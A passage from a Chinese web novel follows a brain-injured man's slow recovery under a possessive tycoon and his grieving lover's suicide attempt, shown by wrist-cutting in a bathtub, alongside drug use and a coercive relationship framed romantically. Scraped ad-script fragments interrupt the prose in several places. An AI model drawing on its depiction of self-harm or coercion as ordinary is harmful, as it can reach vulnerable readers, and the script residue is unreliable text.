他转身走到窗边,看着霓虹灯下的车水马龙,淡声道,“就算比不了那又怎么样?这么久都没醒,估计是醒不了了。只要他死了,时间一长,景麟自然也就忘了。谁的心上没有住过一两个人?天长地久的陪伴才是实实在在的。” 徐理看着他的背影,叹了口气,宋奕始终没有放弃从他这里探听消息,他索性如实相告:“恐怕要让你失望了,他接受脊髓电刺激是有反应的,尽管很微弱。” 宋奕嚯的转身,“什么意思?什么刺激?有什么反应?” “一种神经调控疗法,说明他不是完全的植物人状态。”曾闰成跳下游轮后不止砸入水面,头部应该是撞到了浮礁,救上来后一直处于昏迷当中。 徐理不再隐瞒,“一直昏迷对大脑损伤更大,老板亲自联系了梅奥诊所的几位顶级神经外科教授,以及德国的颅底神经外科之父萨米教授,会诊之后,一致建议采取开颅手术。” 他看着宋奕变白的唇色,无声叹息,“手术的风险很大,一切都只能看命运的安排了……” ————————————————————————— 十一月的伦敦迎来了冬季,而江永安也总算修够学分,通过论文答辩,顺利毕业。剑桥和牛津的毕业典礼一样,相当有仪式感,江太太和他的两个姐姐都飞过来参加。 江永安没有出柜的勇气,莱昂跟他几番拉扯,在被明确拒绝参加他的毕业典礼后,提出了分手。江永安十分潇洒的同意了,他没有傅廷恩那样的家庭环境,做不到为一段感情去挑战传统、对抗家人。 虽然内心隐隐有期待,但他没有想到傅廷恩真的会来,而且没有通知他去接,典礼的当天突然的就现身了。穿一身板正的黑西服,自然卷的黑发还稍稍打理了一下。无可挑剔的面庞上挂着招牌式帅气微笑,引得一干学姐学妹纷纷看向他。 江永安惊喜的跑上去捶他两下,“好小子!也不叫我去机场接你!从悉尼飞过来的吗?可不得把傅少爷累坏了!”他伸手按了按他肩膀。 傅廷恩点点头,“永安,你为我飞过多少次,好歹要还你个人情。”他也将他的脑袋薅过去揉了揉。 江太太和两个姐姐都凑上来,“哎呀这就是廷恩吗?难怪永安老夸你,果然一表人才。”两人关系铁,跟亲近的人总难免提起。 两个姐姐更是眼睛冒星星,“找女朋友了吗?”“廷恩你这么帅,应该有很多女生追你吧?” 江永安把他两个天性爱八卦爱做媒的姐姐扒拉到一边,“有主的,有主的,你们俩就别操心了。” 傅廷恩也笑着点头,将两个礼盒塞到江永安手里,“这个是我的,这个是我老婆给你的。”江永安抖了一下,默默的将两个礼盒搂到怀里。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 两个姐姐大失所望,“廷恩,你这么年轻就结婚了吗?”傅家和江家因为商场上的竞争关系,来往不多,女眷又不大管事,不清楚傅家子孙辈的婚姻状况。 傅廷恩点点头,姐姐们还不肯罢休,“是哪家的女孩子这么好运气?” 江永安赶紧把傅廷恩拖走拍照,仪式结束江太太和两个女儿去shopping,她们来伦敦比较多,没有逛大学城的兴趣。 江永安硬拖着傅廷恩去康河里撑篙游船。“短期内,估计是最后一次了,就当陪陪我。”两人在这座城市度过了四年有余的时光,是青春乃至整个生命里浓墨重彩的一笔。 这是进入冬令时的伦敦难得的一个晴天,在康河的柔波里,微风拂面不寒。夕阳映照着河畔金柳,河面波光潋滟。 小船穿过国王学院,滑过著名的叹息桥,悠悠的荡在康河上。才上大学的时候,他跟傅廷恩曾很多次泛舟在这条河上,身边跟着不同的伴侣,河水里荡漾着此起彼伏的笑声。但自从曾闰成出现,就再也没有这样的时光了,他回想起傅廷昀打给他的那通电话,再看看面前这个沉默的青年,心里像打翻了五味瓶,说不出的酸涩滋味。 那件事情之后,江永安接到过几次傅廷昀的电话,都是拜托他开导劝慰傅廷恩。其实傅廷昀不打电话,他也会这么做,但是有些伤痛确实需要时间才能治愈。 “可是永安,大半年了不但没有好转,好像还越来越严重了。”电话里傅廷昀的声音烦恼不已,“他嫂子去帮他收拾房子,正赶上他吃饭,桌上摆着两幅碗筷,碗里还夹着菜……她说浴室洗漱用品有两套,卧室里也是两个枕头……监控查过,根本没有其他人进出。” 去吉隆坡处理完曾闰成的后事,傅廷恩和哥嫂一起回金城参加了他们的婚礼,状态看上去十分正常,甚至在傅太问他“闰成怎么没来”的时候,很流畅的回答:“他们研究的项目最近要出成果,实在脱不开身。”就好像这是事实一般。 返回澳洲后,他接手了傅廷昀旗下一家小公司,处理业务得心应手,但是他不肯跟他们住一块,非要单独住市中心一套公寓。虽然有家政定时打扫,但他嫂子薛婵娟隔那么久总会去探望一次。她很喜欢曾闰成,知道那件事后还大哭了一场,对这个小叔子的照顾也越发上心,这才发现了那些正常的表面下掩藏的不正常行为。 “廷恩,”江永安觑着傅廷恩的面色,“廷昀哥很担心你。” 傅廷恩点点头,“我知道。我只是需要一点时间……”他将眼神投向河面,“永安,我得走了,还要去趟海德堡,之后返回澳洲,你有空来澳洲玩吧。” 曾闰成假期结束后没有返回工作岗位,他那些师姐师弟纷纷把电话打到了傅廷恩这里,傅廷恩给他报了病假,这次去海德堡是找导师当面聊一下这个事情。 江永安是知道这事的,“廷恩,你打算一直报病假吗?这么长的时间……如果他还在,不可能不来找你。”虽然有点残忍,但江永安还是把这话说出了口。 如果放任悲伤一直延续,伤口永远也没法愈合。 “我知道。”傅廷恩点点头,“我这次过去会当面跟他导师还有同事说一下这件事情。” “你一定要亲自去吗?”这就好像再次将伤口剥开给别人看一样。 傅廷恩点头,“闰成对工作一向认真负责,如果我随意对待,他会不开心的。” 提起这个名字,傅廷恩的脸上没有任何痛苦的表情,他说这话的口气甚至带着点欢喜。 江永安始终觉得有点不对劲,等到晚上他拆开傅廷恩送的两份礼物,一份是一对宝石袖扣,另一份是一枚镶钻胸针,卡片上是傅廷恩的字迹,却写着:“永安,祝你毕业快乐。闰成。” 江永安连夜拨通了傅廷昀的电话:“哥,廷恩可能需要一个心理医生。” 傅廷昀连连的叹气,“找了,他很抗拒,一直强调自己没有心理疾病。”他觉得头疼无比,“他最近在练习泰拳,不是在公司就是在拳击馆。可是几家馆主都私下找婵娟投诉,说他那种不要命的打法,没有教练敢跟他过招。” 68.第 68 章 曾闰成醒来的时间与萨米教授预计的相差不远。手术之后,李景麟几乎把办公室搬到了这所皇家疗养院。除了必须他参加的视频会议,其余事情一律靠后。 这天午后,Tina正拿了热毛巾给曾闰成擦拭脖颈,突然觉得那轻合着的薄薄眼皮下,眼珠有轻微的滑动,她才发出一声低低的惊呼,李景麟已经丢下手上的报表,扑到床前。 Tina侧目看了一眼她老板,发现他嘴唇都在不自觉的颤抖,显而易见的紧张。 两人盯着病床上那张消瘦苍白的脸庞,仍然卷翘有如小扇子一般的眼睫一阵轻微的抖动,然后缓缓睁开了一线,流转着微光。 “闰成,闰成……”李景麟攥紧他的手掌,连声的呼唤他的名字,“你感觉怎么样?” 曾闰成眼睛睁得更大了一些,却没有焦距,他挣脱了李景麟的手,将白皙的手掌伸到半空,嘴里发出“嗬嗬”的单音节。 两人都是一愣,Tina急忙按铃,又跑出去叫医生。几个医生和护士拥进来,走到病床前开始各项检查。 没人敢让李景麟走开,他怔怔的站在病床前,看着挥动着手掌,不安的左右转动着脸庞的人,凝视着那原本沉寂的躯体上重新展现出的生命力,酸涩毫无预兆的涌上眼眶。 一定要失去一次,才知道原本拥有的是多么珍贵的。 “感谢上帝!”他不是基督徒,可此刻无法控制的双手合十,却又舍不得闭上眼睛,他在胸口轻划了一个十字,嘴唇掀动着,念念有词,也不知道到底念的什么。 直到萨米教授的高徒道森医生轻声在他耳边道:“MR.Li?MR.Li?”他才回过神来,“Please.”道森医生将他请到一边,Tina也赶紧凑一边旁听。 “患者目前是失明的状态,但这只是暂时的,开颅手术导致脑部有少量积血,压迫到视神经。前期尽量戴眼罩,避免患者在无意识的状态下一直睁眼伤害到眼睛视力。这一点并不是最麻烦的,”道森医生有些忐忑的开口,“从临床检查来看,教授预估的是准确的,曾先生脑部有一定损伤,这个愈后很难估计,得看后期的治疗效果。” 李景麟开始没有太明白也没太在意医生的意思,他的心神都被失而复得的狂喜填满,但他很快察觉到了不对劲。 曾闰成虽然醒来,但无法正常交流,他只能发出很单一的音节,“嗯,啊,哦”。 在医生的指导下,Tina不断的跟他用很简单的言语沟通,一个星期以后慢慢可以说“你,我,好,吃,饿”等简单的词汇。但意思的表达并不准确,刚刚进过食,他会说“饿”。 而且,他完全不记得任何人,谁靠近都会让他惊恐的低叫,包括医生护士给他打针换药,都要事先输液低量镇静剂。Tina只能隔着一两米远的距离引导性的跟他用很简短的语言做不明确的沟通。 李景麟紧急召集几个主刀教授会诊,几个脑科专家经过一系列测试和检查后,不无遗憾的表示,人的头脑就像一部构造精密的仪器,头发丝一样细小的动静都有可能引发头脑风暴,临床显示患者双侧额叶和海马体都有一定损伤,导致他目前出现自我认知混乱的情况,而这种损伤是否可逆还有待观察。 简单来说,头部受伤远比其它部位受伤要复杂,变傻、失忆、记忆混乱都是有可能的,而且个体差异较大,很难一概而论。 李景麟只觉得一颗心瞬间跌到了谷底,他脱力般向后跌坐在沙发上,半晌都说不出话来。 苏秘书送走几位教授,回身在沙发前蹲下,良久,才低声道:“老板,闰成虽然不记得你,可是,”她垂着眼睛,“他也不记得别人。” 这句话带给李景麟一丝安慰,他坐直身体,苏秘书进行着后续的建议,“您把这事交给我吧,我会督促医疗团队尽快拿出治疗方案,再根据方案筛选合适的护理人员。我手上的事情可以先移交给徐理,等闰成有起色……”她看到曾闰成的状况,内心并非毫无触动,相反,愧悔交替着翻涌,但是事情已经发生只能尽力弥补。 “不,”李景麟从打击中清醒过来,沉吟半晌,吩咐道,“你坐镇金城,金城的事务交给谢复全权负责,欧洲这边重要文件都送这里来。”他指了指他的临时办公室,“让齐越把这里重新规整一下,在闰成的病情有起色之前我会在这里办公。相关的情况不要跟任何人透露。” 谢复是君临集团的副总裁,李景麟把金城的事务交给他,自然是打算亲自陪着曾闰成进行后续的治疗了。 “您再考虑一下,董事会那边……”苏秘书皱眉,总裁常驻海外,对于君临集团的运营模式来说,不是一件小事情。 “他们你不用管,我亲自处理,必要场合我会出席,但短期内工作重心只能移到这里来。”李景麟隔着玻璃窗看向那个抱着头蜷缩在床角的单薄身影,沉默了许久,低声道,“苏茜,我……” 苏秘书以为他要说“我后悔了”,但李景麟转过头看着她,眼神笃定,“我一定可以治好他。”他始终是李景麟,从不为自己做出的决定以及产生的后果感到后悔。 —————————————————————————— 即使李景麟下了封口令,了解他如宋奕,还是大概能猜到发生的事情。 他躺在徐理的腿上抽着加了料的烟,辛辣中夹杂着甜腻的香气,他的表情里带着一丝餮足,“如果顺利早就闹得鸡飞狗跳了,连你都不允许过去,多半是傻了要么是瘫了,总之不是你老板期待的结果。”他的唇角勾起一抹嘲讽的笑意。 徐理赤裸着上身,倚靠在床头,一番深入的“交流”耗尽了他的力气,他嘬一口香烟,沉默的看着烟圈飘散在空气中。 宋奕仍旧兴高采烈的,“我赌他的耐心不会超过三个月。这比死了还让我觉得舒服,再上心又怎么样,谁能天天跟一个傻子呆一块!” 徐理低声道,“积点口德吧。”李景麟每月一次飞柏林,偶尔是他跟随,跟曾家兄妹都算认识,都不是难伺候的人。相反,曾闰成一向温和好说话。 宋奕随手拿烟就往他腿上一按,烫得徐理一抖,他犹不解恨,“少TM装好人!李景麟想吃肉,你跟苏茜谁不是帮着伸筷子!倒在我面前装上了,恶心!” 宋奕在娱乐圈摸爬滚打十多年,早习惯了人前人后两张面孔,在徐理面前,尤其不屑掩饰天性里恶的那一面。 徐理抬头看一眼他俊逸的面孔,低下头不再说话。躺在他腿上的这个男人,已经不是十年前,他在电视屏幕上第一眼看见便深深迷恋的那一个。 他在戏里是侠义心肠书生意气的少年郎,在现实生活中是自私恶毒的精致利己主义者。 他也不知道曾经的光环能令他忍受到哪一天。 ————————————————————————— 等曾闰成挥舞着手掌说“走开”是一个月以后的事情,他的眼睛逐渐的可以视物,白天基本上不用戴眼罩了。 或许看得见给他增加了一些安全感,他不再对医护人员的靠近惊恐尖叫,大多数时候,是有些茫然的睁着一双黑白分明的眼睛,手臂时不时在半空中挥舞两下,像驱赶什么梦魇一般,然后双臂抱在膝头,缩在床畔,略有些害怕的颤抖着。 “闰成……”李景麟无数次尝试着走近些,而曾闰成总转动脸庞,“走开,走开,走开……”他喃喃的念叨着。 李景麟只能停留在原地,但也不会走开,看着缩成一团的瘦弱身影,十分有耐心的不断轻声唤他名字,“闰成,闰成……” 工作重心西迁后,他有相当长的时间没有出现在公众的视野,前段时间好不容易平息下去的负面言论,又开始在网络上喧嚣尘上。 这一次大部分流言是说他“重病将死”,“商业巨子即将陨落”,至于是什么病,各种说法都有,当然最令人感兴趣的还是那些难以启齿的病症。 港城的报纸尤爱夸张描摹,才不管是不是首富之子、港城门面,一律采用各种吸睛大标题,将他的病情描绘得亲眼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 所见般,“头面生疮、关节打结、血液倒流、长身缩水……” 连已不大管事的李家上一任家主他的父亲,都要求他全息投影通话,反复查问他是否真有病症缠身。 在这种情况下,他只能离开瑞士,飞抵柏林,先全息影像召开了高层视频会议,然后参加了旗下新能源汽车公司的一款新品发布会,并在长枪短炮的数百镜头前亲自试驾。 他全程冷脸,但架不住身高气质摆在那,视频一出仍然在互联网上掀起了一波热潮,连他试驾的那款顶配电动汽车销量都有大幅提升。但也因此让媒体对他的私生活越发感兴趣,不断有各种花边新闻小道消息见诸网络,君临的公关团队结结实实的加班了好一阵子。 等李景麟终于履行完职责回到瑞士,便惊喜的发现曾闰成有了一些进步。 他开始恢复一些身体的本能,能明确的表达饿,Tina将白粥吹冷送到嘴边,他会张嘴吞咽。 病房是二十四小时中央空调,他生病之后,瘦了很多,更怕冷一些,常人觉得正常的温度,他会喊“冷”,然后任Tina给他围上披肩。尤其上厕所,护工扶他到马桶上坐下,他会说“出去,关门”,之后还会自己洗手。 这是身体的肌肉记忆,说明他的本能在恢复,但后天习得的技能似乎大部分都失去了,李景麟尝试用英语跟他沟通,他没有任何反应,完全听不懂的样子。 但是除了这些基本的需求,他还是抗拒人的靠近,大多数时候都是抱膝蜷缩着,察觉到有人靠近,就会挥舞着手臂,“走开,走开……” Tina看着他近乎痴傻的样子,默默的流眼泪不敢发出声音,李景麟面无表情的挥手让她退下。 她隔着玻璃窗看着李景麟和曾闰成一站一坐相对而立的身影,不知道事情为什么会变成这样。 虽然她知道曾闰成可能不是自愿和老板在一起,她在柏林认识他的时候,基于对文学的共同爱好,两人有过一些深入的交流。在他身上很少出现快乐的情绪,出现得最多的是那些青红紫绿交替的痕迹。 但Tina的记忆里有另一扇玻璃窗,壁炉里跳动的红色火苗倒映在窗棂上,她透过那一层透明的屏障,看到李景麟搂着曾闰成坐在宽大柔软的沙发上,一起看一本德文小说。 柏林的冬季阴冷漫长,炉火“哔啵”,室内温暖如春,两人的目光偶尔交汇,也流淌着些静谧美好的意味。 她没有上那所游轮,所以并不知道具体发生了什么事情,会导致曾闰成变成如今的样子,但她直觉与她撞到过的那个青年有些关系。 因为苏秘书再三提醒她,不要在曾闰成面前提起那个名字。她还记得那个青年半跪在曾闰成的床前,泪流满面的样子。也记得钢琴背后那双专注凝视的眼睛。 只有感情的纠葛,才会导致如今这样悲惨的局面吧。她深感唏嘘,却也无能为力。 晚上,Tina照旧在病床前守夜。其实曾闰成睡着后会舒展身体,也特别安静,但Tina总担心他半夜惊醒害怕,几乎每晚都会睡在旁边不远处的沙发上。 这天半夜,李景麟穿着居家的睡衣走进来,“你去休息吧。”他冲Tina低声道,然后走到床前掀起被子,极轻的将曾闰成抱在怀里。 Tina嘴唇嗫喏了几下,到底没有多说什么,起身出去了。 李景麟看着怀里沉睡的人,他戴着黑色的真丝眼罩,挺翘的鼻梁下,丰盈润泽的红唇一如从前。凑近些,能嗅到熟悉的清冽气息。 他对他的身体始终有着强烈的感觉,曾闰成于他而言,就像一颗糖,包装严实的时候,你能忍得住只装在口袋里。但如果你打开尝到了这个滋味,就会忍不住含到嘴里反复舔舐吮吸。 但是李景麟记得他在船上的控诉,他骂他总把欲望摆在第一位,也没有忘记他是为什么跳下那艘游轮。 他拥着他,等身体的那阵悸动过去,才轻轻的叹了口气。如果我也能忍住对你的欲望,你会不会相信,我也是爱你的。 69.第 69 章 从金城到悉尼虽然开通了直飞,但也需要十多个小时,毕竟将近一万公里的距离,从北半球飞到南半球。飞行时间漫长又要倒时差,人很容易疲惫,但江永安还是赶在五月里这个特殊日子到来时,飞抵了悉尼金斯福德史密斯国际机场。 他一下飞机就拨打傅廷恩电话,是关机状态,不是工作日,也不是半夜凌晨,当时就觉得有些不妙。再打给傅廷昀,他刚结束一场冗长的会议,对江永安的到来略感惊讶。 “廷恩最近很正常,处理分公司的业务越来越得心应手,前两天回家里吃了个饭,他嫂子亲自下厨,他还夸个不住……” 江永安略略放下心,“那就好,他手机关机,我打车去他公寓看看。” “好,你特意飞过来,是有什么事吗?” “没有,”江永安犹豫了一下,“今天是闰成生日。” “行,你从机场直接过去。”傅廷昀一听事关曾闰成,心里也是一惊,立马从办公桌前起身,先回家拿了一趟公寓的钥匙,公寓一直没有换指纹锁。薛婵娟看他一脸担忧,傅廷恩的电话又一直打不通,便让司机先下班,亲自开车送他去市中心。 三人在公寓门前碰头,先按门铃没有应答,傅廷昀拿钥匙打开门,一股浓厚的血腥气扑面而来。他的心一下子揪起来,高声叫着“廷恩”,客厅的茶几上散落着几个高脚酒杯,一地的烟蒂中夹杂着玻璃碎片。 公寓面积不小,江永安和薛婵娟慌乱的各处搜寻,最终循着腥气拉开了浴室的白色门帘,满满一浴缸的水已经变成了浅橙色,傅廷恩苍白着脸颊赤裸着上半身靠在浴缸边,彷佛睡着了一般。 薛婵娟“啊”的尖叫起来,双腿发软跌坐在水洼中。傅廷昀颤抖着手拨通了000,江永安扑到浴缸前抖抖嗦嗦的伸出一根手指,然后又马上跑到卧室拿浴袍毛巾。 等救护车呜鸣着将傅廷恩拖到医院,又送到抢救室,三个人站在抢救室门前面面相觑,一句话也说不出来。 傅廷昀不停的抽烟,几次拿出手机,想跟家里报备一声,又还是收了回去。隔着这么远,无非让家里人徒增担心。薛婵娟在一边小声的啜泣,“他看上去已经恢复正常,为什么为什么……” 江永安只能在一旁给她递餐巾纸,却也说不出安慰的话语。除了他,大概也没有其他人知道,曾闰成对傅廷恩来说有多重要。他看上去那么正常才是不正常。 直到半夜,抢救室红灯熄灭,医护人员将昏迷状态中的傅廷恩推了出来,医生都忍不住叹气,“他求死的想法很坚定,割伤了桡动脉,引发大出血,泡在浴缸里血液无法凝固,失血量超过了20%,如果再晚来一个小时,进入失血性休克状态……”医生摇着头,后果不言而喻。 薛婵娟全身都在颤抖,傅廷昀一把搀住了他。三个人先随医护一起将傅廷恩送入病房,一通忙乱之后,夫妻两个才有时间向江永安致谢,“永安,如果不是你,廷恩……” 如果不是江永安来得及时,傅廷昀夫妇在短时间内不会发现异常,割腕自杀一旦进入失血性休克状态,死亡是必然结局。薛婵娟掩面痛哭起来。两个男人一左一右的安慰着她,其实心头都有些惶惶。 江永安虽然直觉傅廷恩在这个日子会比较难过,想要过来陪陪他,但也绝没有料到他竟然会选择割腕自杀,一块玻璃片切进去那样深。 那可是傅廷恩啊,天之骄子,不管在恒雅还是牛津,都是风云人物,有多少人愿意爱他,他却为了一个死去的人……这事如果传出去,估计会在朋友圈引起大地震。 傅廷昀更是唏嘘不已,他是见过傅廷恩在曾闰成面前百般献殷勤的样子的,当时只觉得年轻人为色所迷,有点失了分寸,失了体统,绝没有料到他对那个男人是那样情根深种。 他回想起那个晚上,他带着昏迷的傅廷恩离开那艘游轮,在半空中回望了一眼。曾闰成仰起头看着他,目光晶莹璀璨,亮如繁星,当时只觉得这个男人会引发这种情感纠葛,确实有些资本,现在想来他可能确实看淡了这个男人对自家弟弟的影响。 而这一切都是因为李景麟!如果不是李景麟横生枝节,这对情侣原本应该幸福快乐的生活在一起,而不是这样一死一伤!他原本因为李家主动送上塔培拉的铝土矿开采权并百般致歉而有所松动的仇恨情绪又卷头重来。 傅廷恩足足昏迷了三天,江永安一直守着他,白天呆在病房玩手机,晚上就睡旁边沙发上,倒给傅廷昀省了不少事,他最近正是几个重大项目的关键时期,有江永安陪着他也放心不少。 薛婵娟每天让保姆做了精致饭菜,亲自送到医院来,她把新鲜的百合花插在床头花瓶里,瞥见江永安拿了热毛巾给傅廷恩擦拭手臂,假装不经意的试探,“永安,你跟廷恩很要好吧?” “嗯,我们高中就是同学,大学又在同一个城市。” “你们怎么会成为朋友呢?” 江永安毫无隐瞒,“很久之前,他在一次同学齐聚的生日会上公开宣布自己喜欢男生。我那时觉得这哥们真勇,虽然我也喜欢男生,但我就不敢承认。” 他放下手里的毛巾,“现在看来,是他喜欢的那个人让他有勇气吧,可也是这个人让他失去了生活的勇气,变成了一个懦夫!”他皱眉捏了一下傅廷恩毫无血色的脸颊。 薛婵娟点点头,她大概的清楚江永安的性取向,“廷恩可能是因为没有新的情感支撑。这大半年他不肯去约会,我们介绍的朋友也不见,总是独来独往,如果有人陪伴他,也许他就不会钻这个牛角尖了,也能早点走出这段伤痛。” 薛婵娟其实知道她这个提议对江永安不公平,但不管是傅廷恩上一次被打住院还是这一次割腕,她都能看出江永安对傅廷恩超乎寻常的关心和在意。 江永安沉默了,他确实爱过傅廷恩,但那时有曾闰成,他也甘于待在朋友的角色里,可是现在曾闰成不在了……他看着病床上苍白的脸庞和熟悉的眉眼,陷入了沉思。 ——————————————————————— 七月的瑞士,阿尔卑斯山的风轻轻吹过,远处山顶的雪还没有融化,但山下已经开始进入夏天。日内瓦湖水清澈澄碧,像一碗刚刚熬好的菠菜汤。阳光温暖和煦,不冷不热,是最舒服的季节。 曾闰成的病情随着治疗的深入不断的好转,自我的意识开始缓慢复苏,他对贴身照顾他的人不再排斥,对Tina尤为亲近。 而对李景麟的靠近,也不再惊恐的让他“走开”,只是沉默的转过头去不看他,肩膀微微的颤抖。 李景麟的耐心总是超乎寻常,他并不急于靠近,甚至每晚拥着他入睡却总在他醒来前起身,不是休息放纵的日子,他一般 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 都是早起。他每天也有不少工作要处理,瑞士的这家疗养院几乎变成了他在欧洲的临时办公点,不时会有各国人士到这里来找他,为此特意另外装修了一个套间,以免养病的人受到打扰。 他定时定点出现在曾闰成面前,只要有闲暇就去病房陪着他,不动声色的缩短彼此间的距离,有时候拿着财务报表坐在病床边的沙发上看,有时候Tina带着曾闰成在湖边散步,他会不远不近的跟在后面。 曾闰成渐渐习惯了他的存在,终于在一个雷雨夜,曾闰成被雷声惊醒,看到这个熟悉的人就在身边,他本能的从床上坐起来,喊着“走开走开”,却又在李景麟真的退开时,茫然四顾,然后伸出手,喊了一声,“别走……” 窗外雷雨大作,他惊恐的看向屋外,又转头看向李景麟,伸出的手掌颤抖着。 李景麟接住他的手掌,再慢慢将他搂住,抱在怀里,在他惊颤的同时轻拍他的后背,“别怕,是我,是我,闰成,别怕,别怕……”他将声音放得十分柔和,肢体动作也充满着安抚的意味。 曾闰成在最初的惊慌挣扎之后,终于安静下来,柔顺的靠在他肩头,喃喃低语,“别走,别走……” 李景麟像抱孩子一样抱着他,因为大半年的住院、手术、疗养,他越发的瘦了,李景麟抱着只觉得空荡,却不敢拥太紧,怕吓到他。 他因为手术而剃掉的头发已经长了起来,李景麟轻抚着他的发丝,将他轻轻拥在胸口,满足的喟叹:“闰成,你终于回到我身边……” 从这个晚上开始,李景麟不用再等他睡着,也不用再黎明时悄悄起身,曾闰成像接受Tina的照顾一样,接受了李景麟的陪伴。 有时候李景麟过来,他还没有睡着,李景麟掀开被子躺下,他会很自然的滚进他怀里,寻找一个舒适的位置,自顾自的闭上眼睛。 他现在是六七岁孩子的心性,Tina知道他爱看书,尝试着从一些简单的童话故事入手,每天只要有闲暇就给他读故事。这个效果非常好,即使曾闰成有时候情绪躁动,Tina把故事书拿出来,他就会表现出安静。 有一天,李景麟刚躺到床上,他就挨过来,圈住他的腰身,头靠在他肩窝里,嘴里念叨着:“讲故事,讲故事。” 李景麟都愣住,他两个孩子由王芝芙抚养长大,再加上李家对后嗣特殊的教育模式,对他尊敬有余,亲近不足,抱着孩子讲故事是从没有过的行为。 他一下子犯了难,曾闰成却已经闹腾起来,他现在缺乏情绪认知,什么都凭直觉,不给讲故事就皱着眉头露出很生气的表情,把他往床外推。 “好好好,讲故事。”李景麟举手投降,接过Tina递过来的故事书,翻到折好的那一页,把人揽回怀里,认命的读起故事来。 Tina简直有些不敢置信,她退到门外去,却还是忍不住隔着玻璃窗偷看,李景麟将曾闰成圈在怀里,在床头温暖的灯光里,读童话故事:“……在一片遥远的土地上,有一个被茂密森林环绕的古老城堡。城堡里住着一位英俊却自负的王子,他因为傲慢无礼,触怒了一位神秘的女巫……”低沉的嗓音带着点无奈,又透着点欢喜。 她忍不住第N次叹气,世事为什么要这么捉弄人呢?既然这么爱,为什么要去伤害?要知道有的伤害一旦造成,是真的很难再弥补的。 70.第 70 章 傅廷恩醒过来的时候,只觉得头痛欲裂,他忍不住抬手去捧脑袋,左手跟被石头压住了一般,他看着被包裹得严严实实的手腕,后知后觉的回想起了什么,长长的叹了口气。 江永安正躺旁边沙发上睡得四仰八叉,听到动静,跟安了弹簧一样,“腾”的一下跳了起来,冲着傅廷恩先是一顿怒骂:“你还知道醒来?!醒来干吗?继续睡!睡死过去算了!靠!傅廷恩你个**!你想过你爸你妈你家里人没有!靠!” 他忿忿的把床又踢了两脚,才冲出去喊医生。 等医生检查过,护士给他换药,傅廷恩看着手腕上的伤口,自己也愣住了。 江永安当然也看见那嫣红的一道,忍不住抱住他的肩膀,“廷恩,你为什么这么傻?!”江永安一直是吊儿郎当的样子,为了傅廷恩和曾闰成的事倒结结实实痛哭过两次了,“曾老师会希望你这样做吗?啊,你说话呀……” “我没想死,我只是……”他颓然的垂下眼眸,“我只是喝醉了。”醉意翻涌间,又想起那一年在出租屋里给曾闰成过生日,那一顿火锅,烛光里摇曳的笑脸,还有那个偷来的吻……他无法抑制随着醉意疯狂滋生的思念,要怎样才能再重逢呢?要怎样才能再将你拥入怀中、再亲吻到你?或许,只有死亡才可以。他在痛苦的撕扯和愉悦的遐想里举起了锋利的玻璃片…… 但是当意识清醒理智回归,傅廷恩皱起长眉,“真要去死我也不该一个人。”他嘶哑的声线里透着阴郁,江永安听得愣住。 傅廷昀和薛婵娟接到消息,也急匆匆的赶了过来。 傅廷昀绷着脸,一双眼睛却在傅廷恩周身扫视,虽然医生说抢救及时,只要好好调养,不会有太大问题,但看着傅廷恩惨白的脸色,他嘴唇嗫喏了几下,到底还是没有骂出来。 薛婵娟红着眼睛,勉力在脸庞挂上笑容,握着傅廷恩的手,“廷恩,醒过来了就好,你有没有觉得哪里不舒服?我给你熬了粥。” 傅廷恩昏迷这几天,薛婵娟一天三趟的探视,又让保姆用紫砂煲时刻备着粥,医生叮嘱醒过来后可以少量的进食。 傅廷恩拍拍江永安,示意把病床抬高,他半躺着,看着眼前三张担忧的面孔,低声道,“对不起,让大家担心了。”他满是歉意,“我其实是喝多了,并不是真的……对不起。” 傅廷昀放缓了面色,在床边坐下,叹了口气,“廷恩,妈很担心你,这两天一直在打你电话,我说你手机落家里了,她也不信,只怕会和爸飞过来一趟。” 自从得知傅廷恩没有按原先商定的那样回欧洲找工作,而是留在了悉尼接手分公司,傅太就猜他可能是跟曾闰成分手了。私底下可能也打过曾闰成电话,自然是无法接通,便时不时转发分享一些劝慰失恋者的“鸡汤”给傅廷恩。 傅廷恩最不愿意让父母担心,精神稍微养好了一点,就给他妈打了个视频。 “真没事,就这几天跟人谈事,喝高了……真的,我骗你干嘛……您跟爸别折腾,年底我跟哥嫂一块回金城……嗯,放心放心,您跟爸注意身体……” 傅廷恩电话打得还算及时,傅太已经收拾了行李,接了小儿子电话才打消了订机票的念头。 江永安扶着他在病床上躺下,拿湿巾帮他把提升气色的唇膏擦去,又在他脸上捏了两下,“还犯不犯傻了?你想想看,你要真嗝屁了,你妈不得哭死。” 傅廷恩点点头,“我是喝多了,以后不会了。”人喝醉以后,容易钻牛角尖,痛觉也没那么敏感,才下得去手。真正清醒以后,多半都会后悔自己的行为。 傅廷恩就挺后悔,“闰成如果知道我这样,会看不起我的……”他状若平静的提起这个名字,“永安,我只是……”他低头咽下了那份关于思念的表白。 江永安却拍了拍他胳膊,“我知道,你只是太想他了。” 傅廷恩也不再掩饰情绪,喃喃的低语: “永安,我很后悔,如果不是我打开那个邮箱,闰成根本不会去看那些邮件,我们也不会绕道马来西亚……” “永安,你说他跳下去的时候,有没有想过我?有没有想过我一点点?他那么洒脱的留下我一个人……” “永安,我其实很恨他,为什么要这样决绝……我也恨我自己……” 傅廷恩泪腺发达,动不动在他的曾老师面前痛哭流涕。面对别人,他的情绪却异常冷静,冷静到近乎麻木。 江永安是懂他的,他凝视着傅廷恩状若平静的眼眸,轻易就能看穿眼底隐藏的痛苦,他伸手抱住他肩膀,轻拍着他的脊背,“廷恩,如果你想哭就哭出来……” 傅廷恩将下巴搁在他肩膀上,没有哭也没有再说话,只是疲惫的闭上眼睛。 傅廷昀隔着门上的玻璃窗口,看着两个相拥的身影,转过头叹了口气,“就非得跟男的搅和在一块吗?” 傅廷恩认为他哥很开明,其实反倒是他哥一直都不相信也不太能接受他变弯了这个事实。 薛婵娟把他拉到一边,“要永安才会这么帮他,我昨天听永安跟家里打电话,为了调到江家在澳洲的分公司这事,足足打了一两个小时。他这是不放心廷恩,要过来陪着他。” 这点傅廷昀倒不反对,傅家和江家在金城不对付,双方在澳洲的分公司倒还算合作愉快,经常联起手来赚外国人钱。 